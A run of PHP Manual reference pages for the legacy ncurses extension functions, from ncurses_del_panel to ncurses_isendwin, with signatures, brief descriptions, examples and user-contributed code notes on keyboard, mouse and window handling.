  • ncurses_delay_output »
  • PHP Manual
  • Ncurses Functions
  • Remove panel from the stack and delete it (but not the associated window)

ncurses_del_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_del_panel — Remove panel from the stack and delete it (but not the associated window)

Description

bool ncurses_del_panel ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.


Delay output on terminal using padding characters

  • « ncurses_del_panel
  • ncurses_delch »
  • PHP Manual
  • Ncurses Functions
  • Delay output on terminal using padding characters

ncurses_delay_output

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_delay_output — Delay output on terminal using padding characters

Description

int ncurses_delay_output ( int $milliseconds )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

milliseconds

User Contributed Notes

There are no user contributed notes for this page.


Delete character at current position, move rest of line left

  • « ncurses_delay_output
  • ncurses_deleteln »
  • PHP Manual
  • Ncurses Functions
  • Delete character at current position, move rest of line left

ncurses_delch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_delch — Delete character at current position, move rest of line left

Description

bool ncurses_delch ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Deletes the character under the cursor. All characters to the right of the cursor on the same line are moved to the left one position and the last character on the line is filled with a blank. The cursor position does not change.

Return Values

Returns FALSE on success, TRUE otherwise.

See Also

  • ncurses_deleteln() - Delete line at current position, move rest of screen up

User Contributed Notes

There are no user contributed notes for this page.


Delete line at current position, move rest of screen up

  • « ncurses_delch
  • ncurses_delwin »
  • PHP Manual
  • Ncurses Functions
  • Delete line at current position, move rest of screen up

ncurses_deleteln

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_deleteln — Delete line at current position, move rest of screen up

Description

bool ncurses_deleteln ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Deletes the current line under cursorposition. All lines below the current line are moved up one line. The bottom line of window is cleared. Cursor position does not change.

Return Values

Returns FALSE on success, otherwise TRUE.

See Also

  • ncurses_delch() - Delete character at current position, move rest of line left

User Contributed Notes

There are no user contributed notes for this page.


Delete a ncurses window

  • « ncurses_deleteln
  • ncurses_doupdate »
  • PHP Manual
  • Ncurses Functions
  • Delete a ncurses window

ncurses_delwin

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_delwin — Delete a ncurses window

Description

bool ncurses_delwin ( resource $window )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

nigelnquande at yahoo dot com 10-Feb-2014 02:06
I haven't been able to get ncurses_delwin to work, so instead I've been overwriting the window with spaces (which is probably not the best way to go, but it works):

for ($i = 0; $i <= $rows; $i++) {
 ncurses_wmove($window, $i, 0);
 ncurses_whline($window, 32, $cols);
}


Write all prepared refreshes to terminal

  • « ncurses_delwin
  • ncurses_echo »
  • PHP Manual
  • Ncurses Functions
  • Write all prepared refreshes to terminal

ncurses_doupdate

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_doupdate — Write all prepared refreshes to terminal

Description

bool ncurses_doupdate ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Compares the virtual screen to the physical screen and updates the physical screen. This way is more effective than using multiple refresh calls.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Activate keyboard input echo

  • « ncurses_doupdate
  • ncurses_echochar »
  • PHP Manual
  • Ncurses Functions
  • Activate keyboard input echo

ncurses_echo

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_echo — Activate keyboard input echo

Description

bool ncurses_echo ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Enables echo mode. All characters typed by user are echoed by ncurses_getch().

Return Values

Returns FALSE on success, TRUE if any error occurred.

See Also

  • ncurses_noecho() - Switch off keyboard input echo to disable echo mode

User Contributed Notes

There are no user contributed notes for this page.


Single character output including refresh

  • « ncurses_echo
  • ncurses_end »
  • PHP Manual
  • Ncurses Functions
  • Single character output including refresh

ncurses_echochar

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_echochar — Single character output including refresh

Description

int ncurses_echochar ( int $character )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

character

User Contributed Notes

There are no user contributed notes for this page.


Stop using ncurses, clean up the screen

  • « ncurses_echochar
  • ncurses_erase »
  • PHP Manual
  • Ncurses Functions
  • Stop using ncurses, clean up the screen

ncurses_end

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_end — Stop using ncurses, clean up the screen

Description

int ncurses_end ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Erase terminal screen

  • « ncurses_end
  • ncurses_erasechar »
  • PHP Manual
  • Ncurses Functions
  • Erase terminal screen

ncurses_erase

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_erase — Erase terminal screen

Description

bool ncurses_erase ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Fills the terminal screen with blanks.

Created blanks have the current background rendition, set by ncurses_bkgd().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ncurses_bkgd() - Set background property for terminal screen
  • ncurses_clear() - Clear screen

User Contributed Notes

There are no user contributed notes for this page.


Returns current erase character

  • « ncurses_erase
  • ncurses_filter »
  • PHP Manual
  • Ncurses Functions
  • Returns current erase character

ncurses_erasechar

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_erasechar — Returns current erase character

Description

string ncurses_erasechar ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the current erase character.

Return Values

The current erase char, as a string.

See Also

  • ncurses_killchar() - Returns current line kill character

User Contributed Notes

There are no user contributed notes for this page.


Set LINES for iniscr() and newterm() to 1

  • « ncurses_erasechar
  • ncurses_flash »
  • PHP Manual
  • Ncurses Functions
  • Set LINES for iniscr() and newterm() to 1

ncurses_filter

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_filter — Set LINES for iniscr() and newterm() to 1

Description

void ncurses_filter ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Flash terminal screen (visual bell)

  • « ncurses_filter
  • ncurses_flushinp »
  • PHP Manual
  • Ncurses Functions
  • Flash terminal screen (visual bell)

ncurses_flash

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_flash — Flash terminal screen (visual bell)

Description

bool ncurses_flash ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Flashes the screen, and if its not possible, sends an audible alert (bell).

Return Values

Returns FALSE on success, otherwise TRUE.

See Also

  • ncurses_beep() - Let the terminal beep

User Contributed Notes

There are no user contributed notes for this page.


Flush keyboard input buffer

  • « ncurses_flash
  • ncurses_getch »
  • PHP Manual
  • Ncurses Functions
  • Flush keyboard input buffer

ncurses_flushinp

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_flushinp — Flush keyboard input buffer

Description

bool ncurses_flushinp ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Throws away any typeahead that has been typed and has not yet been read by your program.

Return Values

Returns FALSE on success, otherwise TRUE.

User Contributed Notes

There are no user contributed notes for this page.


Read a character from keyboard

  • « ncurses_flushinp
  • ncurses_getmaxyx »
  • PHP Manual
  • Ncurses Functions
  • Read a character from keyboard

ncurses_getch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getch — Read a character from keyboard

Description

int ncurses_getch ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

Anonymous 12-Mar-2014 06:50
ncurses_getch() will block if there is no input available. Using fgets() together with stream_set_blocking() has been proposed for non-blocking input, however, fgets() returns escape sequences for cursor, function, and other special keys. Interpreting these is not trivial as the escape sequences depend on the terminal/emulation used.

A possible solution is to use stream_select() to find out whether input is available and then read it with ncurses_getch().

<?php
function getch_nonblock($timeout) {
    $read = array(STDIN);
    $null = null;    // stream_select() uses references, thus variables are necessary for the first 3 parameters
    if(stream_select($read,$null,$null,floor($timeout / 1000000),$timeout % 1000000) != 1) return null;
    return ncurses_getch();
}

while(true) {
    $key = getch_nonblock(1000000);
    if(is_null($key)) {
        // do something useful here
        continue;
    }
    if($key == NCURSES_KEY_F10) break;    // Quit on F10
}
?>

Low timeout values can yield high CPU usage of your script, so set the timeout as high as possible for your application.
petr at hroch dot info 14-Nov-2006 11:11
While function ncurses_nodelay() is still not implemented and if you need a non-blocking getch,
following code might help.

<?php
$init = ncurses_init();
$full = ncurses_newwin (0,0,0,0);
ncurses_wborder($full,0,0,0,0,0,0,0,0);
ncurses_wrefresh($full);

$running = true;
$fp = fopen("php://stdin","r");     //open direct input stream for reading
stream_set_blocking($fp,0);        //set non-blocking mode

while ($running) {
  while (($buf = fgets($fp, 4096)) != false) {  //fgets is required if we want to handle escape sequenced keys
     $buffer .= $buf;
  }
  if ($buffer != "") {
     switch ($buffer) {
       case " ": {            //exit on space key
         ncurses_end();
        exit;
       }
       default: {
         ncurses_mvwaddstr($full,2,2,"$buffer");  //display input
       }
     }
    $buffer = ""; //empty buffer
   }

  // You can do something interesting here, while we're not waiting for an input
  ncurses_mvwaddstr($full,4,4,microtime(true));
  ncurses_wrefresh($full);

  usleep(1); //reduce cpu usage
}
?>
php at kormoc dot com 23-Nov-2005 12:45
After banging my head over this for awhile, I discovered, you must use ncurses_keypad($window, true); to enable the arrow keys and f keys to work correctly.
joeldegan AT yahoo.com 16-Dec-2002 09:29
When using getch to capture KEY_* events remember that the keypad is arranged like this:

+-----+------+-------+
| A1  |  up  |  A3   |
+-----+------+-------+
|left |  B2  | right |
+-----+------+-------+
| C1  | down |    C3  |
+-----+------+-------+

You use has_key to capture these and act upon them.

man curs_getch for more info.
pablorNOSPAM at nkstudios dot net 13-Sep-2002 10:40
A custom php ncurses_getstr function..

<?php

function ncurses_getstr($strlen){
    for ($x=0;$x<$strlen;$x++){
        $string .= chr(ncurses_getch());
    }
    return $string;
}

ncurses_init();
ncurses_addstr(ncurses_getstr(6));
ncurses_refresh();
ncurses_getch();
ncurses_end();

?>


Returns the size of a window

  • « ncurses_getch
  • ncurses_getmouse »
  • PHP Manual
  • Ncurses Functions
  • Returns the size of a window

ncurses_getmaxyx

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getmaxyx — Returns the size of a window

Description

void ncurses_getmaxyx ( resource $window , int &$y , int &$x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Gets the horizontal and vertical size of the given window into the given variables.

Variables must be passed as reference, so they are updated when the user changes the terminal size.

Parameters

window

The measured window

y

This will be set to the window height

x

This will be set to the window width

Return Values

No value is returned.

User Contributed Notes

vic at lfs dot net 11-Oct-2008 07:33
TIP 1: If you want to know the size of the main (default) ncurses screen, you can use the defined constant STDSCR
eg. ncurses_getmaxyx (STDSCR, $Height, $Width);
No need to create a window, get its size and delete it again (not sure if this works on php versions < 5 though).

TIP 2 : If you are creating a PHP console application and want to support terminal resizing and if you find that the ncurses screen doesn't actually resize when you resize your terminal (which was the case for me (on FreeBSD 5.3 at least)) you should end the current ncurses session and restart it again. Very easy to do this if you create your own ncurses class with a nice con- and destructor.
superzouz at hotmail dot com 27-Jun-2007 02:36
After some headscratching as to why my script was not detecting the terminal being resized... i discovered that the function would not report the new size of the terminal until the window is refreshed.
So this is the code that I am using to get the size of the screen:

$fullscreen = ncurses_newwin ( 0, 0, 0, 0);

// everytime you want to find out the size of the screen, write the following 2 lines:
ncurses_wrefresh($fullscreen);
ncurses_getmaxyx ($fullscreen, $y, $x );


Reads mouse event

  • « ncurses_getmaxyx
  • ncurses_getyx »
  • PHP Manual
  • Ncurses Functions
  • Reads mouse event

ncurses_getmouse

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getmouse — Reads mouse event

Description

bool ncurses_getmouse ( array &$mevent )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

ncurses_getmouse() reads mouse event out of queue.

Parameters

mevent

Event options will be delivered in this parameter which has to be an array, passed by reference (see example below).

On success an associative array with following keys will be delivered:

  • "id" : Id to distinguish multiple devices

  • "x" : screen relative x-position in character cells

  • "y" : screen relative y-position in character cells

  • "z" : currently not supported

  • "mmask" : Mouse action

Return Values

Returns FALSE if a mouse event is actually visible in the given window, otherwise returns TRUE.

Examples

Example #1 ncurses_getmouse() example

<?php
switch (ncurses_getch()){
  case NCURSES_KEY_MOUSE:
    if (!ncurses_getmouse($mevent)){
      if ($mevent["mmask"] & NCURSES_MOUSE_BUTTON1_PRESSED){
        $mouse_x = $mevent["x"]; // Save mouse position
        $mouse_y = $mevent["y"];
      }
    }
  break;

  default:
    /* .... */
}
?>

See Also

  • ncurses_ungetmouse() - Pushes mouse event to queue

User Contributed Notes

m dot quinton at gmail dot com 26-Sep-2005 01:05
a working example with mouse, 3 windows  (need to be completed, but it works) ...

<?php

error_reporting(E_ALL);

function win($w, $h, $x, $y, $txt){
    // now lets create a small window
    $win = ncurses_newwin($w, $h, $x, $y);
    // border our small window.
    ncurses_wborder($win,0,0, 0,0, 0,0, 0,0);
    # ncurses_wrefresh($win);// paint both windows
    ncurses_refresh();// paint both windows

    // move into the small window and write a string
    ncurses_mvwaddstr($win, 0, 1, " $txt ");
    ncurses_mvwaddstr($win, 1, 1, "($w, $h, $x, $y)");

    // show our handiwork and refresh our small window
    ncurses_wrefresh($win);

    return $win;
}

// Initialie ncurses
$ncurse = ncurses_init();
// A full screen window

$win0 = win(0, 0, 0, 0, 'win0');
$win1 = win(10, 30, 7, 25, 'win1');
$win2 = win(10, 30, 20, 25, 'win2');
$info = win(15, 20, 2, 2, 'info');

// Draw everything so far
// ncurses_refresh();

$newmask = NCURSES_BUTTON1_CLICKED + NCURSES_BUTTON1_RELEASED;
# $newmask = NCURSES_ALL_MOUSE_EVENTS;

$mask = ncurses_mousemask($newmask, &$oldmask);
$events = array();

while(1){

    ncurses_wmove($info, 1,1);
    $ch = ncurses_getch();

    ncurses_wclear($info);
    ncurses_refresh();// paint both windows
    ncurses_wborder($info,0,0, 0,0, 0,0, 0,0);
    ncurses_refresh();// paint both windows
    ncurses_mvwaddstr($win, 0, 1, " info ");
    ncurses_refresh();// paint both windows

    switch($ch){

    case NCURSES_KEY_MOUSE:

        if(ncurses_getmouse($mevent)){
            $events[] = $mevent;

            ncurses_mvwaddstr($info, 2, 1, " mouse event   ");
            ncurses_mvwaddstr($info, 3, 1, " ({$mevent['x']}/{$mevent['y']}) ");
            ncurses_mvwaddstr($info, 4, 1, " ({$mevent['mmask']}) ");

            ncurses_wrefresh($info);
        }
        break;

    case chr('q'):
        break 2;

    default:

        if($ch > 0x40)
            $txt = chr($ch) . " $ch ";
        else
            $txt = '.' . " $ch";

        ncurses_mvwaddstr($info, 1, 1, " $txt   ");
        ncurses_wrefresh($info);

    }

    if(chr($ch) == 'q')
        break;
}

ncurses_end();// clean up our screen

print_r($events);

?>


Returns the current cursor position for a window

  • « ncurses_getmouse
  • ncurses_halfdelay »
  • PHP Manual
  • Ncurses Functions
  • Returns the current cursor position for a window

ncurses_getyx

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_getyx — Returns the current cursor position for a window

Description

void ncurses_getyx ( resource $window , int &$y , int &$x )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

y

x

User Contributed Notes

There are no user contributed notes for this page.


Put terminal into halfdelay mode

  • « ncurses_getyx
  • ncurses_has_colors »
  • PHP Manual
  • Ncurses Functions
  • Put terminal into halfdelay mode

ncurses_halfdelay

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_halfdelay — Put terminal into halfdelay mode

Description

int ncurses_halfdelay ( int $tenth )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

tenth

User Contributed Notes

There are no user contributed notes for this page.


Checks if terminal has color capabilities

  • « ncurses_halfdelay
  • ncurses_has_ic »
  • PHP Manual
  • Ncurses Functions
  • Checks if terminal has color capabilities

ncurses_has_colors

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_colors — Checks if terminal has color capabilities

Description

bool ncurses_has_colors ( void )

Checks whether the terminal has color capabilities. This function can be used to write terminal-independent programs. ncurses must be initialized using ncurses_init() before calling this function.

Parameters

This function has no parameters.

Return Values

Return TRUE if the terminal has color capabilities, FALSE otherwise.

Examples

Example #1 Writing a string with a specified color to the screen

<?php
ncurses_init();

// If the terminal supports colors, initialize and set active color
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// Write a string at specified location
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// Flush output to screen
ncurses_refresh();

ncurses_end();
?>

See Also

  • ncurses_can_change_color() - Checks if terminal color definitions can be changed
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.


Check for insert- and delete-capabilities

  • « ncurses_has_colors
  • ncurses_has_il »
  • PHP Manual
  • Ncurses Functions
  • Check for insert- and delete-capabilities

ncurses_has_ic

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_ic — Check for insert- and delete-capabilities

Description

bool ncurses_has_ic ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Checks whether the terminal has insert and delete capabilities.

Return Values

Returns TRUE if the terminal has insert/delete-capabilities, FALSE otherwise.

See Also

  • ncurses_has_il() - Check for line insert- and delete-capabilities

User Contributed Notes

There are no user contributed notes for this page.


Check for line insert- and delete-capabilities

  • « ncurses_has_ic
  • ncurses_has_key »
  • PHP Manual
  • Ncurses Functions
  • Check for line insert- and delete-capabilities

ncurses_has_il

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_il — Check for line insert- and delete-capabilities

Description

bool ncurses_has_il ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Checks whether the terminal has insert- and delete-line-capabilities.

Return Values

Returns TRUE if the terminal has insert/delete-line capabilities, FALSE otherwise.

See Also

  • ncurses_has_ic() - Check for insert- and delete-capabilities

User Contributed Notes

There are no user contributed notes for this page.


Check for presence of a function key on terminal keyboard

  • « ncurses_has_il
  • ncurses_hide_panel »
  • PHP Manual
  • Ncurses Functions
  • Check for presence of a function key on terminal keyboard

ncurses_has_key

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_has_key — Check for presence of a function key on terminal keyboard

Description

int ncurses_has_key ( int $keycode )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

keycode

User Contributed Notes

There are no user contributed notes for this page.


Remove panel from the stack, making it invisible

  • « ncurses_has_key
  • ncurses_hline »
  • PHP Manual
  • Ncurses Functions
  • Remove panel from the stack, making it invisible

ncurses_hide_panel

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_hide_panel — Remove panel from the stack, making it invisible

Description

int ncurses_hide_panel ( resource $panel )
Warning

This function is currently not documented; only its argument list is available.

Parameters

panel

User Contributed Notes

There are no user contributed notes for this page.


Draw a horizontal line at current position using an attributed character and max. n characters long

  • « ncurses_hide_panel
  • ncurses_inch »
  • PHP Manual
  • Ncurses Functions
  • Draw a horizontal line at current position using an attributed character and max. n characters long

ncurses_hline

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_hline — Draw a horizontal line at current position using an attributed character and max. n characters long

Description

int ncurses_hline ( int $charattr , int $n )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

charattr

n

User Contributed Notes

There are no user contributed notes for this page.


Get character and attribute at current position

  • « ncurses_hline
  • ncurses_init_color »
  • PHP Manual
  • Ncurses Functions
  • Get character and attribute at current position

ncurses_inch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_inch — Get character and attribute at current position

Description

string ncurses_inch ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Returns the character from the current position.

Return Values

Returns the character, as a string.

User Contributed Notes

There are no user contributed notes for this page.


Define a terminal color

  • « ncurses_inch
  • ncurses_init_pair »
  • PHP Manual
  • Ncurses Functions
  • Define a terminal color

ncurses_init_color

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_init_color — Define a terminal color

Description

int ncurses_init_color ( int $color , int $r , int $g , int $b )

Defines or redefines the given color. When this function is called, all occurrences of the given color on the screen, if any, immediately change to the new definition.

Color capabilities must be supported by the terminal and initialized using ncurses_start_color() prior to calling this function. In addition, the terminal must have color changing capabilities; use ncurses_can_change_color() to check for this.

Parameters

color

The identification number of the color to redefine. It may be one of the default color constants.

r

A color value, between 0 and 1000, for the red component.

g

A color value, between 0 and 1000, for the green component.

b

A color value, between 0 and 1000, for the blue component.

Return Values

Returns -1 if the function was successful, and 0 if ncurses or terminal color capabilities have not been initialized or the terminal does not have color changing capabilities.

See Also

  • ncurses_color_content() - Retrieves RGB components of a color
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.


Define a color pair

  • « ncurses_init_color
  • ncurses_init »
  • PHP Manual
  • Ncurses Functions
  • Define a color pair

ncurses_init_pair

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_init_pair — Define a color pair

Description

int ncurses_init_pair ( int $pair , int $fg , int $bg )

Defines or redefines the given color pair to have the given foreground and background colors. If the color pair was previously initialized, the screen is refreshed and all occurrences of it are changed to reflect the new definition.

Color capabilities must be initialized using ncurses_start_color() before calling this function. The first color pair (color pair 0) is assumed to be white on black by default, but can be changed using ncurses_assume_default_colors().

Parameters

pair

The number of the color pair to define.

fg

The foreground color for the color pair. May be one of the pre-defined colors or one defined by ncurses_init_color() if the terminal has color changing capabilities.

bg

The background color for the color pair. May be one of the pre-defined colors or one defined by ncurses_init_color() if the terminal has color changing capabilities.

Return Values

Returns -1 if the function was successful, and 0 if ncurses or color support were not initialized.

Notes

Note that color changing capabilities are not required for defining color pairs of pre-existing colors, but only for changing definitions (red, green, and blue components) of colors themselves per ncurses_init_color().

Examples

Example #1 Writing a string with a specified color to the screen

<?php
ncurses_init();

// If the terminal supports colors, initialize and set active color
if (ncurses_has_colors()) {
    ncurses_start_color();
    ncurses_init_pair(1, NCURSES_COLOR_YELLOW, NCURSES_COLOR_BLUE);
    ncurses_color_set(1);
}

// Write a string at specified location
ncurses_mvaddstr(10, 10, "Hello world! Yellow on blue text!");

// Flush output to screen
ncurses_refresh();

ncurses_end();
?>

See Also

  • ncurses_pair_content() - Retrieves foreground and background colors of a color pair
  • ncurses_start_color() - Initializes color functionality

User Contributed Notes

There are no user contributed notes for this page.


Initialize ncurses

  • « ncurses_init_pair
  • ncurses_insch »
  • PHP Manual
  • Ncurses Functions
  • Initialize ncurses

ncurses_init

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_init — Initialize ncurses

Description

void ncurses_init ( void )

Initializes the ncurses interface. This function must be used before any other ncurses function call.

Note that ncurses_end() must be called before exiting from the program, or the terminal will not be restored to its proper non-visual mode.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • ncurses_end() - Stop using ncurses, clean up the screen

User Contributed Notes

There are no user contributed notes for this page.


Insert character moving rest of line including character at current position

  • « ncurses_init
  • ncurses_insdelln »
  • PHP Manual
  • Ncurses Functions
  • Insert character moving rest of line including character at current position

ncurses_insch

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insch — Insert character moving rest of line including character at current position

Description

int ncurses_insch ( int $character )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

character

User Contributed Notes

There are no user contributed notes for this page.


Insert lines before current line scrolling down (negative numbers delete and scroll up)

  • « ncurses_insch
  • ncurses_insertln »
  • PHP Manual
  • Ncurses Functions
  • Insert lines before current line scrolling down (negative numbers delete and scroll up)

ncurses_insdelln

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insdelln — Insert lines before current line scrolling down (negative numbers delete and scroll up)

Description

int ncurses_insdelln ( int $count )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

count

User Contributed Notes

There are no user contributed notes for this page.


Insert a line, move rest of screen down

  • « ncurses_insdelln
  • ncurses_insstr »
  • PHP Manual
  • Ncurses Functions
  • Insert a line, move rest of screen down

ncurses_insertln

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insertln — Insert a line, move rest of screen down

Description

int ncurses_insertln ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Inserts a new line above the current line. The bottom line will be lost.

User Contributed Notes

There are no user contributed notes for this page.


Insert string at current position, moving rest of line right

  • « ncurses_insertln
  • ncurses_instr »
  • PHP Manual
  • Ncurses Functions
  • Insert string at current position, moving rest of line right

ncurses_insstr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_insstr — Insert string at current position, moving rest of line right

Description

int ncurses_insstr ( string $text )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

text

User Contributed Notes

There are no user contributed notes for this page.


Reads string from terminal screen

  • « ncurses_insstr
  • ncurses_isendwin »
  • PHP Manual
  • Ncurses Functions
  • Reads string from terminal screen

ncurses_instr

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_instr — Reads string from terminal screen

Description

int ncurses_instr ( string &$buffer )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Reads a string from the terminal screen and returns the number of characters read from the current character position until end of line.

Parameters

buffer

The characters. Attributes will be stripped.

Return Values

Returns the number of characters.

User Contributed Notes

There are no user contributed notes for this page.


Ncurses is in endwin mode, normal screen output may be performed

  • « ncurses_instr
  • ncurses_keyok »
  • PHP Manual
  • Ncurses Functions
  • Ncurses is in endwin mode, normal screen output may be performed

ncurses_isendwin

(PHP 4 >= 4.0.7, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_isendwin — Ncurses is in endwin mode, normal screen output may be performed

Description

bool ncurses_isendwin ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Checks if ncurses is in endwin mode.

Return Values

